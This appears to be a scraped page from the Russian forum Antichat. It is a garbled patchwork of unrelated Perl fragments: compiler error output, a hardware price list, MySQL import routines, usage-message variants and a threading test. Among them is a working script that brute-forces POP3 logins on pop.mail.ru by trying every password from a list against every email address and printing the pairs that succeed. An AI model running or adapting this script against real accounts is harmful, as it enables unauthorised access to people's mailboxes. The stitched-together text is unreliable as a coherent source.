ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Global symbol "$Fpass" requires explicit package name at hello.pl line 7.
Global symbol "$Femails" requires explicit package name at hello.pl line 8.
Global symbol "$finds" requires explicit package name at hello.pl line 10.
Global symbol "$emails" requires explicit package name at hello.pl line 16.
Global symbol "$Femails" requires explicit package name at hello.pl line 16.
Global symbol "$emails" requires explicit package name at hello.pl line 17.
Global symbol "$email" requires explicit package name at hello.pl line 20.
Global symbol "$passwords" requires explicit package name at hello.pl line 22.
Global symbol "$Fpass" requires explicit package name at hello.pl line 22.
Global symbol "$passwords" requires explicit package name at hello.pl line 23.
Global symbol "$pass" requires explicit package name at hello.pl line 26.
Global symbol "$pop" requires explicit package name at hello.pl line 28.
Global symbol "$pop" requires explicit package name at hello.pl line 30.
Global symbol "$email" requires explicit package name at hello.pl line 30.
Global symbol "$pass" requires explicit package name at hello.pl line 30.
Global symbol "$email" requires explicit package name at hello.pl line 33.
Global symbol "$pass" requires explicit package name at hello.pl line 34.
Global symbol "$logs" requires explicit package name at hello.pl line 35.
Global symbol "$pass" requires explicit package name at hello.pl line 39.
Global symbol "$logs" requires explicit package name at hello.pl line 40.
Global symbol "$pop" requires explicit package name at hello.pl line 43.
Global symbol "$passwords" requires explicit package name at hello.pl line 44.
Global symbol "$emails" requires explicit package name at hello.pl line 46.
Bareword "chompt" not allowed while "strict subs" in use at hello.pl line 19.
Bareword "chompt" not allowed while "strict subs" in use at hello.pl line 25.
Execution of hello.pl aborted due to compilation errors.

#!usr/bin/perl -w

use IO::Socket;

$Fpass   = 'passwords.txt';
$Femails = 'emails.txt';


open($emails, $Femails);
while(<$emails>)
{
	$email = $_;
	chomp($email);
	
	open($passwords, $Fpass);
	while(<$passwords>)
	{
		$pass = $_;
		chomp($pass);
		$sock = new IO::Socket::INET 
		(
		PeerAddr => 'pop.mail.ru',
   		PeerPort => 110, 
   		PeerProto => 'tcp', 
   		TimeOut => 60
		) or die "Can't connect\n";	

		print $sock "USER $email\n\r"; 
		sysread ($sock, $answ, 800);
		print $sock "PASS $pass\n\r\n\r";
		sysread ($sock, $answ, 800);
		print $sock "\n\r";
		sysread ($sock, $answ, 800);

		close($sock);

		if($answ =~ /maildrop/)
		{		
			print  "Good PASSSSSSSSSSSSSSSSSSSSSSSSS\n".
				   "[>]Email:".$email."\n".
				   "[>]Password:".$pass."\n";
		}
		else
		{
			print "[>]BAD Password:".$pass;
		}
	}
	close($passwords);
}
close($emails);

1	-1	-1	-1	Серверы и рабочие станции	0	0	0
1	1	-1	-1	Acer	0	0	0
1	1	1	-1	Рабочии станции	0	0	0
1	1	1	93913	Рабочая станция Acer Aspire E360 91.9N97E.R8S K8 MCR/ATHLON 64 3400/80GB SATA/512MB DDR400/DVD RW /nVidia G7300LE 256MB DVI TV-out, PCIE/Win XP MCE & Works/USB multimedia kb and optical mouse/MS MCE Remote Control & Receiver/ACR - Russian	396	392.0	385.00
1	1	1	88830	Рабочая станция Acer Aspire iDea 510 98.Q6B79.RHP Intel Core 2 Duo T5500, 2x512Mb DDRII SODIMM, 250Gb SATA, GeForce 7600GS 256Mb+2xTV-tuner, DVD/RW Slot-in, wireless kb&mouse, Gigabit LAN+Wi-Fi, Vista HP	1683	1667.7	1652.40
1	1	1	89246	Рабочая станция Acer Aspire L320 92.2NG9Z.RHR Intel Core 2 Duo E4400  2x512Mb DDRII 533 SO-DIMM  250Gb SATA  onboard Intel GMA 3000  DVD RW Slot-In  corded kb&mouse  Gigabit LAN+Wi-Fi Vista HP+Ent	734	727.0	720.36

#!/usr/bin/perl -w

#=============================================================================
#=============================================================================
#=============================================================================

sub loadprice2{

&writebase("delete from pricelist");

open F,"price.sql";
@d=<F>;
close F;

$d=join "",@d;
$d=~s/[\r\n]/<br>/g;

$d=~s#{{([\d-]+),(\d*)}}?#$1\.$2#g;
$d=~s#{{##g;
$d=~s#}}##g;


$d=~s/<br>/\n/g;

&writebase($d);


}

#=============================================================================
#=============================================================================
#=============================================================================

sub loadprice{

$db="DBI:mysql:wiz:localhost:3306";
$db=DBI->connect($db,"login","pass");
open F,"p.txt";
my @d=<F>;
close F;
$db->do("TRUNCATE TABLE pricelist");
for my $i (@d){
        my @z=split /\t/,$i;
        $db->do('insert into pricelist (razdel_id,cat_id,subcat_id,id,name,price1,price2,price3) values ('.(join ',',map {$db->quote($_)} @z).')');
}
$db->do("update options set price_update=now()");
$db->disconnect();
print "<script language=javascript>top.location.href='?$rand'</script>";
}

#=============================================================================
#=============================================================================
#=============================================================================

1;

GetOptions(
"fields=s" => \$options{fields},
"maps=s" => \$options{maps},
"logs=s" => \$options{logs},
"help" => \$options{help}
);

my $msg = <<EOF;
mapview.pl [OPTIONS]

Options:
--fields=path Path to the folder containing .fld files.
--maps=path Path to the folder containing map images.
--logs=path Path to the folder containing log files.

EOF

my $msg = <<EOF;

EOF

my $msg = "mapview.pl [OPTIONS]\n"
  . "\n"
  . "Options:\n"
  . "--fields=path Path to the folder containing .fld files.\n"
  . "--maps=path Path to the folder containing map images.\n"
  . "--logs=path Path to the folder containing log files.\n";

my $msg = "mapview.pl [OPTIONS]\n\nOptions:\n--fields=path Path to the folder containing .fld files.\n--maps=path Path to the folder containing map images.\n--logs=path Path to the folder containing log files.\n";

#!/usr/bin/perl 
use threads;

for(0..10) { $trl[$_]=threads->create(\&trp,$_);}
for(@trl)  { $_->join;} 
 
sub trp
{
    my $i=1, my $x=5;
    while($i<=$x)
    {
        print $i.":test\n";
        $i++;
    }
}